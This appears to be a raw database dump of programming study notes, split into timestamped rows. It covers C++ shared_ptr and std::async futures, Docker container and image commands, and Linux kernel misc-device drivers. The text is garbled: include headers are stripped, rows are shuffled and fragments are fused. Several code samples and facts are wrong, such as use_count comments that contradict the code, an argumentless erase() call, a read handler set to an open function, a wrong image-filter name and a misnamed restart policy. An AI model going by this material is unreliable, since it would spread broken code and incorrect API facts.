the object and one for the shared data the shared pionter uses to control the object. text txt 2024-07-28 10:05:54.92603 0 +3828 938 #include \n#include text txt 2024-07-28 10:05:54.946684 0 +3829 938 std::shared_ptr rosa = std::make_shared("rosa"); code txt 2024-07-28 10:05:54.967573 0 +3830 939 #include \n#include text txt 2024-07-28 10:05:55.340301 0 +3831 939 std::shared_ptr person; text txt 2024-07-28 10:05:55.362319 0 +3832 939 person = new std::string("rosa"); // ERROR: no assignment for ordinary pointers\nperson.reset(new std::string("rosa")); // OK code txt 2024-07-28 10:05:55.382453 0 +3833 940 #include \n#include \n#include text txt 2024-07-28 10:05:55.968679 0 +3834 940 int main()\n{\n std::shared_ptr rosa(new std::string("rosa")); text txt 2024-07-28 10:05:55.989937 0 +3835 940 std::vector> people;\n people.push_back(rosa);\n people.push_back(rosa);\n people.push_back(rosa);\n people.push_back(rosa); text txt 2024-07-28 10:05:56.011653 0 +3836 940 std::size_t count = rosa.use_count(); // 4\n} code txt 2024-07-28 10:05:56.032705 0 +3837 941 When the last owner of object gets destroyed, the shared pointer calls `delete` for the object it refers to. text txt 2024-07-28 10:05:56.857227 0 +3838 941 Possible deletion scenarios are: text txt 2024-07-28 10:05:56.877595 0 +3839 941 * deletions happens at the end of a scope\n* by assigning `nullptr` to pointer\n* resizing the container that holds shared pointers text txt 2024-07-28 10:05:56.900002 0 +3840 941 #include \n#include \n#include text txt 2024-07-28 10:05:56.921108 0 +3841 941 int main()\n{\n std::shared_ptr rosa(new std::string("rosa"));\n std::shared_ptr lucy(new std::string("lucy")); text txt 2024-07-28 10:05:56.941721 0 +3842 941 std::vector> people;\n people.push_back(lucy);\n people.push_back(lucy);\n people.push_back(rosa);\n people.push_back(lucy);\n people.push_back(rosa);\n people.push_back(rosa);\n people.push_back(lucy);\n people.push_back(rosa); text txt 2024-07-28 10:05:56.962903 0 +3843 941 std::size_t rosa_count = rosa.use_count(); // 4\n std::size_t lucy_count = lucy.use_count(); // 4\n} code txt 2024-07-28 10:05:56.984409 0 +3844 942 #include \n#include \n#include text txt 2024-07-28 10:05:57.732151 0 +3845 942 std::shared_ptr person(\n new std::string{},\n [](std::string* p) { std::cout << *p << std::endl; delete p; }\n);\nperson = nullptr; // person does not refer to the string any longer text txt 2024-07-28 10:05:57.752908 0 +3846 942 std::vector people;\npeople.push_back(person);\npeople.push_back(person);\npeople.push_back(person); text txt 2024-07-28 10:05:57.773125 0 +3847 942 std::size_t person_count = person.use_count(); // 4 text txt 2024-07-28 10:05:57.792768 0 +3848 942 people.erase(); // all copies of the string in person are destroyed text txt 2024-07-28 10:05:57.813425 0 +3849 942 std::size_t person_count = person.use_count(); // 1 text txt 2024-07-28 10:05:57.833682 0 +3851 942 std::size_t person_count = person.use_count(); // 0 code txt 2024-07-28 10:05:57.875715 0 +3852 943 #include \n#include \n#include text txt 2024-07-28 10:05:58.794946 0 +3853 943 struct task\n{\n int value; text txt 2024-07-28 10:05:58.816416 0 +3854 943 task(int initial): value{initial} { }\n task& operator+(task const& t) { value += t.value; return *this; }\n operator int() const { return value; }\n}; text txt 2024-07-28 10:05:58.837674 0 +3855 943 task sum(task a, task b)\n{\n return a + b;\n} text txt 2024-07-28 10:05:58.857896 0 +3856 943 int main()\n{\n std::future result = std::async(sum, 1, 2);\n int value = result.get();\n // 3\n} code txt 2024-07-28 10:05:58.878015 0 +3857 944 The function ideally starts without blocking the execution of the calling\nthread. The returned *future* object is necessary for two reasons: text txt 2024-07-28 10:05:59.254015 0 +3858 944 1. It allows access to the future outcome of the functionality passed to\n `async()`.\n2. It is necessary to ensure that sooner or later, the passed functionality\n gets called. text txt 2024-07-28 10:05:59.273567 0 +3859 945 With the call of `get()`, one of three things might happen: text txt 2024-07-28 10:05:59.652428 0 +3860 945 1. If function was started with `async()` in a separate thread and has\n already finished, you immediately get its result.\n2. If function was started but not finished yet, `get()` blocks and waits for\n its end and yields the result.\n3. If function was not started yet, it will be forced to start now and, like\n a synchronous function call, `get()` will block until it yields the\n result. text txt 2024-07-28 10:05:59.67428 0 +3861 946 If just a background task was started that returns nothing it has to be\n`std::future`. text txt 2024-07-28 10:05:59.954658 0 +3862 947 Call to `get()` from a future might not result in concurrency because the\n`std::async()` call uses the default policy `std::launch::async` and\n`std::launch::deferred` to be both set, which might only use\n`std::launch::deferred`, in which case the function might not be invoked\nuntil the `get()` call; in that case, there is no concurrency. text txt 2024-07-28 10:06:01.044095 0 +3863 947 #include \n#include \n#include \n#include text txt 2024-07-28 10:06:01.066074 0 +3864 947 class some_task\n{\nprivate:\n mutable std::mutex exclusive; text txt 2024-07-28 10:06:01.086546 0 +3865 947 public:\n void task1() const { std::lock_guard lock(exclusive); std::cout << "task1\\\\n"; }\n void task2() const { std::lock_guard lock(exclusive); std::cout << "task2\\\\n"; }\n void task3() const { std::lock_guard lock(exclusive); std::cout << "task3\\\\n"; }\n}; text txt 2024-07-28 10:06:01.107339 0 +3866 947 int main()\n{\n some_task task{}; text txt 2024-07-28 10:06:01.127547 0 +3867 947 // may run concurrently or defer execution\n std::future t1 = std::async(&some_task::task1, &task); text txt 2024-07-28 10:06:01.147654 0 +3876 949 code txt 2024-07-28 10:06:01.962758 0 +3987 984 code txt 2024-07-28 10:06:19.304374 0 +3868 947 // runs when wait() or get() is called\n std::future t2 = std::async(std::launch::deferred, &some_task::task2, &task); text txt 2024-07-28 10:06:01.168204 0 +3869 947 // runs concurrently\n std::future t3 = std::async(std::launch::async, &some_task::task3, &task); text txt 2024-07-28 10:06:01.19002 0 +3870 947 // executes t2\n t2.wait(); text txt 2024-07-28 10:06:01.210738 0 +3871 947 // if t1 is not done at this point, destructor of t1 executes now\n} code txt 2024-07-28 10:06:01.231077 0 +3872 948 You have to ensure that you ask for the result of a functionality started\nwith `async()` no earlier than necessary. text txt 2024-07-28 10:06:01.626524 0 +3873 948 std::future result1{std::async(func1)};\nint result = func2() + result1.get();\n// might call func2() after func1() ends code txt 2024-07-28 10:06:01.647511 0 +3874 948 Because the evaluation order on the right side of the second statement is\nunspecified, `result1.get()` might be called before `func2()` so that you\nhave sequential processing again. text txt 2024-07-28 10:06:01.667946 0 +3875 949 To have the best effect, in general, your goal should be to maximaze the\ndistance between calling `async()` and calling `get()`. Or, to use the terms\nof *call early and return late*. text txt 2024-07-28 10:06:01.942234 0 +3877 950 By explicitly passing a launch policy directing `async()` that it should\ndefinitely start the passed functionality asynchronously the moment it is\ncalled. text txt 2024-07-28 10:06:02.36769 0 +3878 950 std::future result = std::async(std::launch::async, do_something); code txt 2024-07-28 10:06:02.387916 0 +3879 950 If the asynchronous call is not possible here, the program will throw a\n`std::system_error` exception with the error code\n`resource_unavailable_try_again`, which is equivalent to the POSIX errno\n`EAGAIN`. text txt 2024-07-28 10:06:02.40876 0 +3880 951 With the `std::launch::async` policy, you don't necessarily have to call\n`get()` anymore because, if the life time of the returned future ends, the\nprogram will wait for the function to finish. Thus, if you don't call `get()`,\nleaving the scope of the future object will wait for the background task to\nend. Nevertheless, also calling `get()` here before a program ends makes the\nbehavior clearer. text txt 2024-07-28 10:06:02.829831 0 +3881 951 {\n std::future result = std::async(std::launch::async, do_something);\n // result's destructor blocks at the end of scope\n} code txt 2024-07-28 10:06:02.849741 0 +3882 952 If you don't assign the result of async call anywhere, the caller will block\nuntil the passed functionality has finished, which would mean that this is\nnothing but a synchronous call. text txt 2024-07-28 10:06:03.212809 0 +3883 952 std::async(std::launch::async, do_something);\nstd::async(std::launch::async, do_something);\nstd::async(std::launch::async, do_something);\n// runs sequentially code txt 2024-07-28 10:06:03.233994 0 +3884 953 You can enforce a deferred execution by passing `std::launch::deferred`\npolicy to `async()`. This guarantees that function never gets called without\n`get()`. This policy especially allows to program *lazy evaluation*. text txt 2024-07-28 10:06:03.584534 0 +3885 953 std::future result1{std::async(std::launch::deferred, do_something)};\nstd::future result2{std::async(std::launch::deferred, do_something)};\nauto value = optional_case() ? result1.get() : result2.get(); code txt 2024-07-28 10:06:03.606508 0 +3886 954 When `get()` is called and the background operation was or gets terminated by\nan exception, which was/is not handled inside the thread, this exception gets\npropegated again. As a result, to deal with exceptions of background\noperations, just do the same with `get()` as you would do when calling the\noperation synchronously. text txt 2024-07-28 10:06:04.455002 0 +3887 954 #include \n#include \n#include \n#include text txt 2024-07-28 10:06:04.475762 0 +3888 954 void raise_exception()\n{\n throw std::invalid_argument{"user caught lying"};\n} text txt 2024-07-28 10:06:04.4979 0 +3889 954 int main()\n{\n std::future execution = std::async(raise_exception);\n // stores thrown exception and holds in std::current_exception\n // then, rethrows when get() is called text txt 2024-07-28 10:06:04.518579 0 +3890 954 try\n {\n execution.get();\n }\n catch (std::invalid_argument const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:06:04.53958 0 +3891 955 You can call `get()` for a `std::future<>` only once. After `get()`, the\nfuture is in an invalid state, which can be checked only by calling `valid()`\nfor the future. Any call other than destruction will result in undefined\nbehavior. text txt 2024-07-28 10:06:04.794825 0 +3892 956 The waiting interface is callable more than once and might be combined with a\nduration or timepoint to limit the amount of waiting time. text txt 2024-07-28 10:06:05.3377 0 +3893 956 #include \n#include \n#include text txt 2024-07-28 10:06:05.35771 0 +3894 956 auto f1{std::async(do_something)};\nauto f2{std::async(do_something)};\nauto f3{std::async(do_something)}; text txt 2024-07-28 10:06:05.378567 0 +3895 956 f1.wait();\nf2.wait_for(std::chrono::seconds{10});\nf3.wait_until(std::chrono::steady_clock::now() + std::chrono::seconds{10}); code txt 2024-07-28 10:06:05.398589 0 +3896 957 Just calling `wait()` forces the start of a thread a future represents and\nwaits for the termination of the background operation. text txt 2024-07-28 10:06:05.867351 0 +3897 957 auto f{std::async(do_something)};\nf.wait(); // wait for thread to finish code txt 2024-07-28 10:06:05.887759 0 +3898 957 Two other wait functions exist for a limited time for an asynchronously\nrunning operation by passing a duration or a timepoint. text txt 2024-07-28 10:06:05.908496 0 +3899 957 auto f{std::async(do_something)};\nf.wait_for(std::chrono::seconds{10});\nf.wait_until(std::chrono::steady_clock::now() + std::chrono::seconds{10}); code txt 2024-07-28 10:06:05.930384 0 +3900 958 Both `wait_for()` and `wait_until()` return one of the following: text txt 2024-07-28 10:06:07.096583 0 +3901 958 - `std::future_status::deferred` if `async()` deferred the operation and no\n calls to `wait()` or `get()` have yet forced it to start, both functions\n return immediately in this case.\n- `std::future_status::timeout` if the operation was started asynchronously\n but hasn't finished yet.\n- `std::future_status::ready` if the operation has finished. text txt 2024-07-28 10:06:07.117954 0 +3902 958 #include \n#include \n#include \n#include text txt 2024-07-28 10:06:07.138733 0 +3903 958 long process_quickly()\n{\n std::this_thread::sleep_for(std::chrono::milliseconds{40});\n return 1;\n} text txt 2024-07-28 10:06:07.159619 0 +3904 958 long process_accurately()\n{\n std::this_thread::sleep_for(std::chrono::milliseconds{100});\n return 2;\n} text txt 2024-07-28 10:06:07.180945 0 +3905 958 long process()\n{\n std::future accurate_future{std::async(std::launch::async, process_accurately)};\n std::chrono::time_point deadline{std::chrono::steady_clock::now() + std::chrono::milliseconds{100}}; text txt 2024-07-28 10:06:07.20195 0 +3906 958 long quick_result{process_quickly()};\n std::future_status accurate_status{accurate_future.wait_until(deadline)}; text txt 2024-07-28 10:06:07.222742 0 +3907 958 if (accurate_status == std::future_status::ready)\n return accurate_future.get();\n else\n return quick_result;\n} text txt 2024-07-28 10:06:07.243365 0 +3911 959 docker version code txt 2024-07-28 10:06:08.482628 0 +3908 958 int main()\n{\n std::cout << process() << std::endl;\n // sometimes 1 and sometimes 2\n} code txt 2024-07-28 10:06:07.265698 0 +3909 958 Using `wait_for()` or `wait_until()` especially allows to program so-called\n*speculative execution*. text txt 2024-07-28 10:06:07.286522 0 +3910 959 Checking docker version should retrieve both client and server versions. text txt 2024-07-28 10:06:08.461382 0 +3912 959 In case docker client is not connected to the daemon, users should add themselves\nto the `docker` group. text txt 2024-07-28 10:06:08.503522 0 +3913 959 sudo usermod -aG docker $USER code txt 2024-07-28 10:06:08.525479 0 +3914 959 Logging out and then logging in is required for this change to take effect.\nHowever, user can temporarily apply changes to their active shell: text txt 2024-07-28 10:06:08.546178 0 +3916 960 docker image ls\ndocker image list code txt 2024-07-28 10:06:08.855247 0 +3917 961 This is the command used to start new containers.\nIn its simplest form, it accepts an image and a command as arguments.\nThe image is used to create the container and the command is the application\nthe container will run when it starts.\nThis example will start an Ubuntu container in the foreground,\nand tell it to run the Bash shell: text txt 2024-07-28 10:06:09.316662 0 +3918 961 docker container run --interactive --tty ubuntu /bin/bash code txt 2024-07-28 10:06:09.337131 0 +3919 961 The `-it` flags tell Docker to make the container interactive and to attach\nthe current shell to the container’s terminal. text txt 2024-07-28 10:06:09.357121 0 +3920 962 If you’re logged on to the container and type exit, you’ll terminate the\nBash process and the container will exit (terminate). This is because a\ncontainer cannot exist without its designated main process. text txt 2024-07-28 10:06:09.661945 0 +3921 962 Press Ctrl-P then Ctrl-Q to exit the container without terminating its main process.\nDoing this will place you back in the shell of your Docker host and leave the\ncontainer running in the background. text txt 2024-07-28 10:06:09.68236 0 +3922 963 This command runs a new process inside of a running container.\nIt’s useful for attaching the shell of your Docker host to a terminal\ninside of a running container.\nFor this to work, the image used to create the container must include the Bash shell. text txt 2024-07-28 10:06:10.061712 0 +3923 963 docker container exec --interactive --tty container_name /usr/bin/bash code txt 2024-07-28 10:06:10.082526 0 +3924 964 This command will stop a running container and put it in the Exited (0) state.\nIt does this by issuing a SIGTERM to the process with PID 1 inside of the container.\nIf the process has not cleaned up and stopped within 10 seconds, a SIGKILL will be\nissued to forcibly stop the container.\nThis command accepts container IDs and container names as arguments. text txt 2024-07-28 10:06:10.451972 0 +3925 964 docker container stop my-container code txt 2024-07-28 10:06:10.473364 0 +3926 965 This command will restart a stopped (Exited) container.\nYou can give this command the name or ID of a container. text txt 2024-07-28 10:06:10.82479 0 +3927 965 docker container start my-container code txt 2024-07-28 10:06:10.844289 0 +3928 966 This command will delete a stopped container.\nYou can specify containers by name or ID.\nIt is recommended that you stop a container before deleting it. text txt 2024-07-28 10:06:11.196132 0 +3929 966 docker container stop container_name\ndocker container rm container_name code txt 2024-07-28 10:06:11.216139 0 +3930 967 Lists all containers in the running (UP) state.\nIf you add the -a flag you will also see containers in the stopped (Exited) state. text txt 2024-07-28 10:06:11.545547 0 +3931 967 docker container list --all code txt 2024-07-28 10:06:11.565561 0 +3932 968 By checking the list of stopped containers. text txt 2024-07-28 10:06:11.860009 0 +3933 968 docker container list --all code txt 2024-07-28 10:06:11.88033 0 +3935 970 docker image pull mongo:4.2.6 code txt 2024-07-28 10:06:12.452621 0 +3936 971 Pulling images from an unofficial repository is essentially the same as pulling from official ones.\nYou just need to prepend the repository name with a DockerHub username or organization name. text txt 2024-07-28 10:06:12.86541 0 +3937 971 The following example shows how to pull the *v2* image from the *tu-demo* repository owned by a\nnot-to-be-trusted person whose DockerHub account name is *nigelpoulton*. text txt 2024-07-28 10:06:12.886309 0 +3938 971 docker image pull nigelpoulton/tu-demo:v2 code txt 2024-07-28 10:06:12.90609 0 +3939 972 If you want to pull images from 3rd party registries (not DockerHub), you\nneed to prepend the repository name with the DNS name of the registry. For\nexample, the following command pulls the `3.1.5` image from the\n`google-containers/git-sync` repo on the **Google Container Registry** (gcr.io). text txt 2024-07-28 10:06:13.271205 0 +3940 972 docker image pull gcr.io/google-containers/git-sync:v3.1.5 code txt 2024-07-28 10:06:13.291865 0 +3941 973 A dangling image is an image that is no longer tagged, and appears in\nlistings as `:`.\nA common way they occur is when building a new image giving it a tag\nthat already exists. text txt 2024-07-28 10:06:13.684333 0 +3942 973 docker image list --filter dangling=true code txt 2024-07-28 10:06:13.704702 0 +3943 974 You can delete all dangling images on a system with the following command. text txt 2024-07-28 10:06:14.131505 0 +3944 974 docker image prune code txt 2024-07-28 10:06:14.151427 0 +3945 974 If you add the `-a` flag, Docker will also remove all unused images (those not in use by any containers). text txt 2024-07-28 10:06:14.172127 0 +3946 974 docker image prune --all code txt 2024-07-28 10:06:14.192572 0 +3947 975 **dangling:** Accepts true or false\ndocker image list --filter dangling=true\ndocker image list --filter dangling=false code txt 2024-07-28 10:06:14.786327 0 +3948 975 **before:** Requires an image name or ID as argument, and returns all images created before it.\ndocker image list --filter before=container_name code txt 2024-07-28 10:06:14.806606 0 +3949 975 **since:** Same as above, but returns images created after the specified image.\ndocker image list --filter after=container_name code txt 2024-07-28 10:06:14.82855 0 +3950 975 **label:** Filters images based on the presence of a label or label and value.\nThis command does not display labels in its output.\ndocker image list --filter=reference="*:latest" code txt 2024-07-28 10:06:14.849385 0 +3951 976 You can use the `--format` flag to format output using Go templates.\nFor example, the following command will only return the size property of images on a Docker host. text txt 2024-07-28 10:06:15.265871 0 +3952 976 docker image list --format "{{.Size}}" code txt 2024-07-28 10:06:15.286892 0 +3953 976 Use the following command to return all images, but only display repo, tag and size. text txt 2024-07-28 10:06:15.308852 0 +3954 976 docker image list --format "{{.Repository}}: {{.Tag}}: {{.Size}}" code txt 2024-07-28 10:06:15.330183 0 +3955 977 The “NAME” field is the repository name. This includes the Docker ID, or\norganization name, for unofficial repositories. text txt 2024-07-28 10:06:15.916908 0 +3956 977 docker search nigelpoulton code txt 2024-07-28 10:06:15.937644 0 +3957 977 Use `--filter is-official=true` so that only official repos are displayed. text txt 2024-07-28 10:06:15.956548 0 +3958 977 docker search alpine --filter is-official=true code txt 2024-07-28 10:06:15.976736 0 +3997 988 Cmd /bin/bash code txt 2024-07-28 10:06:20.703322 0 +4012 991 docker login code txt 2024-07-28 10:06:22.65287 0 +3959 977 By default, Docker will only display 25 lines of results. However, you can\nuse the `--limit` flag to increase that to a maximum of 100. text txt 2024-07-28 10:06:15.997897 0 +3960 977 docker search alpine --filter is-automated=true --limit 100 code txt 2024-07-28 10:06:16.017972 0 +3961 978 This command will show you detailed configuration and runtime information\nabout a container.\nIt accepts container names and container IDs as its main argument. text txt 2024-07-28 10:06:16.336203 0 +3962 978 docker image inspect ubuntu:latest code txt 2024-07-28 10:06:16.356555 0 +3963 979 The `history` command is another way of inspecting an image and seeing layer data.\nHowever, it shows the build history of an image and is not a\nstrict list of layers in the final image. text txt 2024-07-28 10:06:16.681708 0 +3965 979 The image is always the combination of all layers stacked in the order they were added. text txt 2024-07-28 10:06:16.72363 0 +3966 980 docker image pull alpine:latest\ndocker image list --digests alpine:latest code txt 2024-07-28 10:06:16.979829 0 +3967 981 Assume you are running Docker on a Raspberry Pi (Linux running on ARM\narchitecture). When you pull an image, your Docker client makes the relevant\ncalls to the Docker Registry API exposed by DockerHub. If a manifest list\nexists for the image, it will be parsed to see if an entry exists for Linux\non ARM. If an ARM entry exists, the manifest for that image is retrieved\nand parsed for the crypto ID’s of the layers that make up the image. Each\nlayer is then pulled from DockerHub. text txt 2024-07-28 10:06:17.380609 0 +3968 981 docker manifest inspect golang code txt 2024-07-28 10:06:17.402428 0 +3969 982 You can create your own builds for diff erent platforms and architectures with text txt 2024-07-28 10:06:18.138347 0 +3972 982 docker manifest create code txt 2024-07-28 10:06:18.201384 0 +3973 982 to create your own manifest lists. text txt 2024-07-28 10:06:18.222758 0 +3974 982 The following command builds an image for ARMv7 called myimage:arm-v7 from the\ncontents of the current directory. It’s based on code in the code in\nhttps://github.com - https://github.com/nigelpoulton/psweb. text txt 2024-07-28 10:06:18.243062 0 +3975 982 docker buildx build --platform linux/arm/v7 -t myimage:arm-v7 . code txt 2024-07-28 10:06:18.263614 0 +3976 982 The beauty of the command is that you don’t have to run it from an ARMv7 Docker node. text txt 2024-07-28 10:06:18.285164 0 +3977 982 At the time of writing, buildx is an experimental feature and\nrequires `experimental=true` setting in your ∼/.docker/config.json file as follows. text txt 2024-07-28 10:06:18.305398 0 +3978 982 { "experimental": true } code txt 2024-07-28 10:06:18.32546 0 +3979 983 Containers run until the app they are executing exits. text txt 2024-07-28 10:06:18.743144 0 +3980 983 You can manually stop a running container with thedocker container stopcommand. text txt 2024-07-28 10:06:18.763894 0 +3981 983 To get rid of a container forever, you have to explicitly remove it. text txt 2024-07-28 10:06:18.783777 0 +3982 983 You can list multiple images on the same command by separating them with whitespace. text txt 2024-07-28 10:06:18.803724 0 +3983 983 docker image rm ubuntu:22.4\ndocker image rm f70734b6a266 a4d3716dbb72 code txt 2024-07-28 10:06:18.82371 0 +3984 984 This is a form of self-healing that enables Docker to automatically restart them after certain events or failures have occurred.\nRestart policies are applied per-container, and can be configured\nimperatively on the command line as part of `docker container run` commands,\nor declaratively in YAML files for use with higher-level tools such as\nDocker Swarm, Docker Compose, and Kubernetes. text txt 2024-07-28 10:06:19.243872 0 +3985 984 The following restart policies exist: text txt 2024-07-28 10:06:19.264017 0 +3986 984 * always\n* unless-stopped\n* on-failed text txt 2024-07-28 10:06:19.284595 0 +3988 985 The always policy is the simplest. It always restarts a stopped container\nunless it has been explicitly stopped.\nHowever, if you restart the Docker daemon, the container will be\nautomatically restarted when the daemon comes back up. text txt 2024-07-28 10:06:19.691226 0 +3989 985 docker container run --interactive --tty --restart always alpine /bin/bash code txt 2024-07-28 10:06:19.711397 0 +3990 985 Be aware that Docker has restarted the same container and not created a new one.\nIn fact, if you inspect it you can see there **startCount** has been incremented. text txt 2024-07-28 10:06:19.732533 0 +3991 986 The main difference between the **always** and **unless-stopped** policies is that\ncontainers with the **unless-stopped** policy will not be restarted when the\ndaemon restarts if they were in the **Stopped (Exited)** state. text txt 2024-07-28 10:06:20.012277 0 +3992 986 docker container run --interactive --tty --restart unless-stopped ubuntu /usr/bin code txt 2024-07-28 10:06:20.032692 0 +3993 987 The **on-failure** policy will restart a container if it exits with a non-zero\nexit code. It will also restart containers when the Docker daemon restarts,\neven containers that were in the stopped state. text txt 2024-07-28 10:06:20.3255 0 +3994 987 docker container run --interactive --tty --restart on-failure ubuntu /usr/bin code txt 2024-07-28 10:06:20.345721 0 +3995 988 When building a Docker image, you can embed an instruction that lists the\ndefault app for any containers that use the image. You inspect an image to see this. text txt 2024-07-28 10:06:20.662893 0 +3996 988 The entries after **Cmd** show the command/app that the container will run unless\nyou override it with a different one when you launch the container. text txt 2024-07-28 10:06:20.68358 0 +3998 989 FROM alpine\nLABEL maintainer="maintainer@domain.tld"\nLABEL description="Web service"\nLABEL version="0.1"\nRUN apk add --update nodejs nodejs-npm\nCOPY . /src\nWORKDIR /src\nRUN npm install\nEXPOSE 8080\nENTRYPOINT ["node", "./app.js"] code txt 2024-07-28 10:06:21.611296 0 +3999 989 The `RUN` instruction uses the Alpine apk package manager to install node js and nodejs-npm into the image.\nIt creates a new image layer directly above the Alpine base layer, and installs the packages in this layer. text txt 2024-07-28 10:06:21.632328 0 +4000 989 The `COPY . /src` instruction creates another new layer and copies in the\napplication and dependency f i les from the build context. text txt 2024-07-28 10:06:21.652902 0 +4001 989 The `WORKDIR` instruction sets the working directory inside the image filesystem for the rest of the instructions in the file.\nThis instruction does not create a new image layer. text txt 2024-07-28 10:06:21.673374 0 +4002 989 Then the `RUN` npm install instruction creates a new layer and uses `npm` to install application dependencies listed in the `package.json` file in the build context.\nIt runs within the context of the `WORKDIR` set in the previous instruction, and installs the dependencies into the newly created layer. text txt 2024-07-28 10:06:21.695259 0 +4003 989 The application exposes a web service on TCP port 8080, so the Dockerfile documents this with the `EXPOSE 8080` instruction.\nThis is added as image metadata and not an image layer. text txt 2024-07-28 10:06:21.717073 0 +4004 989 Finally, the `ENTRYPOINT` instruction is used to set the main application that the image (container) should run.\nThis is also added as metadata and not an image layer. text txt 2024-07-28 10:06:21.737308 0 +4005 989 All non-comment lines are Instructions and take the format `INSTRUCTION argument`.\nInstruction names are not case sensitive, but it’s normal practice to write them in UPPERCASE.\nThis makes reading the Docker file easier. text txt 2024-07-28 10:06:21.758269 0 +4006 989 It's important that you understand containers are persistent in nature.\nContainers are designed to be immutable objects and it’s not a good practice to write data to them.\nFor this reason, Docker provides volumes that exist separately from the container, but can be mounted into the container at runtime. text txt 2024-07-28 10:06:21.78036 0 +4007 990 The period (.) at the end of the command tells Docker to use the shell’s current working directory as the build context. text txt 2024-07-28 10:06:22.069032 0 +4008 990 docker image build --tag container:latest . code txt 2024-07-28 10:06:22.088838 0 +4009 990 You can inspect the built image to verify the configuration of the image. text txt 2024-07-28 10:06:22.109087 0 +4010 991 In order to push an image to DockerHub, you need to login with your Docker ID. text txt 2024-07-28 10:06:22.60913 0 +4011 991 Before you can push an image, you need to tag it in a special way.\nThis is because Docker needs all of the following information when pushing an image: text txt 2024-07-28 10:06:22.631118 0 +4013 991 * Registry\n* Repository\n* Tag text txt 2024-07-28 10:06:22.674395 0 +4910 1390 Wait queues are implemented in `include/linux/wait.h`: text txt 2024-07-28 10:08:53.259531 0 +4913 1391 We can declare and initialize a wait queue either statically or dynamically. text txt 2024-07-28 10:08:53.627141 0 +4917 1392 Most of the time, the event is just the fact that a resource becomes available, thus it makes sense for a process to go to sleep after a first check of the availability of that resource. text txt 2024-07-28 10:08:54.125204 0 +4920 1392 `wait_event()` puts the process into an exclusive wait, aka uninterruptible sleep, and can't thus be interrupted by the signal.\nIt should be used only for critical tasks. text txt 2024-07-28 10:08:54.187212 0 +4923 1393 Time unit for `timeout` is a jiffy. text txt 2024-07-28 10:08:54.519384 0 +4926 1395 unsigned long msecs_to_jiffies(const unsigned int m)\nunsigned long usecs_to_jiffies(const unsigned int u) code txt 2024-07-28 10:08:55.032438 0 +4929 1396 - `wake_up()`: wake only one process from the wait queue\n- `wake_up_all()`: wake all processes from the wait queue\n- `wake_up_interruptible()`: wake only one process from the wait queue that is in interruptible sleep\n- `wake_up_interruptible_all()`: wake all processes from the wait queue that are in interruptible sleep text txt 2024-07-28 10:08:55.448421 0 +4932 1398 Modules are located in `/lib/modules/$(uname -r)/kernel`. text txt 2024-07-28 10:08:56.058906 0 +4936 1399 Origin: Effectively use module commands text txt 2024-07-28 10:08:56.451023 0 +4941 1402 rmmod ecryptfs code txt 2024-07-28 10:08:57.06586 0 +4945 1404 This utility uses dependency file to load dependencies first. text txt 2024-07-28 10:08:57.567276 0 +4949 1405 modinfo ecryptfs code txt 2024-07-28 10:08:57.843246 0 +4953 1408 In order for the kernel to distinguish between device files, it uses two\nattributes within their inode data structure: text txt 2024-07-28 10:08:58.87578 0 +4956 1410 Block devices have the kernel-level capability to be mounted and thus become\npart of the user-accessible filesystem. Character devices cannot be mounted;\nthus, storage devices tend to be block-based. text txt 2024-07-28 10:08:59.451245 0 +4959 1411 The minor number's meaning (interpretation) is left completely to the driver\nauthor; the kernel does not interfere. text txt 2024-07-28 10:09:00.067657 0 +4962 1412 - The **buses** on the system.\n- The **devices** on them.\n- The **device drivers** that drive the devices. text txt 2024-07-28 10:09:00.350664 0 +4965 1415 After its corresponding bus driver binds the device to its correct device\ndriver, the kernel driver framework invokes the registered `probe()` method\nof the driver. This probe method now sets up the device, allocating\nresources, IRQs, memory setup, registering it as required, and so on. text txt 2024-07-28 10:09:01.270437 0 +4968 1417 An appropriate value to return if you aren't supporting a function is\n`-ENOSYS`, which will have the user-mode process see the error `Function not\nimplemented`. text txt 2024-07-28 10:09:02.106916 0 +4971 1418 The `lseek(2)` system call has the driver seek to a prescribed location in\nthe file, here of course in the device. For majority of hardware devices, the\n`lseek(2)` value is not meaningful, thus most drivers do not need to\nimplement it. The problem is, even when there is no need to support\n`lseek(2)`, it still returns a random positive value, misleading user space\nprocess to incorrectly conclude that it succeeded. Hence, to handle\nunsupported `lseek(2)` on a device driver, explicitly set `llseek` function\npointer to `no_llseek` value, which will cause a failure value (`-ESPIPE;\nillegal seek`) to be returned. In such cases, also invoke\n`nonseekable_open()` function in driver's `open()` method, specifying that\nthe file is non-seekable. text txt 2024-07-28 10:09:02.638146 0 +4974 1419 static struct miscdevice miscdev = {\n .name = "miscdev",\n .minor = MISC_DYNAMIC_MINOR,\n .mode = 0600,\n .fops = NULL, // file operation methods\n}; text txt 2024-07-28 10:09:03.947349 0 +4977 1419 if (ret != 0)\n {\n pr_notice("miscdev registration failed, aborting\\\\n");\n return ret;\n } text txt 2024-07-28 10:09:04.009496 0 +4980 1419 module_init(miscdev_init);\nmodule_exit(miscdev_exit); text txt 2024-07-28 10:09:04.069329 0 +4983 1419 KERNEL_SRC ?= /usr/lib/modules/$(shell uname -r)/build text txt 2024-07-28 10:09:04.130983 0 +4985 1419 modules modules_install help clean:\n $(MAKE) -C $(KERNEL_SRC) M=$(PWD) $@ code txt 2024-07-28 10:09:04.171151 0 +4987 1420 A device driver provides several entry points into the kernel known as the\ndriver's methods. All possible methods the driver author can hook into are in\n`file_operations` kernel data structure defined in `` header. text txt 2024-07-28 10:09:04.569021 0 +4989 1421 The `file_operations` structure represents all possible `file_related` system\ncalls that could be issued on a device file including `open`, `read`, `poll`,\n`mmap`, `release`, and several more members. text txt 2024-07-28 10:09:06.018633 0 +4991 1421 #include \n#include text txt 2024-07-28 10:09:06.060729 0 +4993 1421 static struct miscdevice miscdev = {\n .name = "miscdev",\n .minor = MISC_DYNAMIC_MINOR,\n .mode = 0600,\n .fops = &misc_fops,\n}; text txt 2024-07-28 10:09:06.104701 0 +4996 1421 if (ret != 0)\n {\n pr_notice("miscdev registration failed, aborting\\\\n");\n return ret;\n } text txt 2024-07-28 10:09:06.164778 0 +4998 1421 if (!dev)\n {\n return 1;\n } text txt 2024-07-28 10:09:06.205268 0 +5000 1421 static void __exit miscdev_exit(void)\n{ } text txt 2024-07-28 10:09:06.247025 0 +5002 1421 MODULE_LICENSE("GPL");\nMODULE_AUTHOR("Brian Salehi f_flags);\n kfree(kbuf);\n return nonseekable_open(inode, fp);\n} code txt 2024-07-28 10:09:06.866275 0 +5008 1423 static const file_operations misc_fops = {\n .read = misc_open,\n}; text txt 2024-07-28 10:09:08.235515 0 +5010 1423 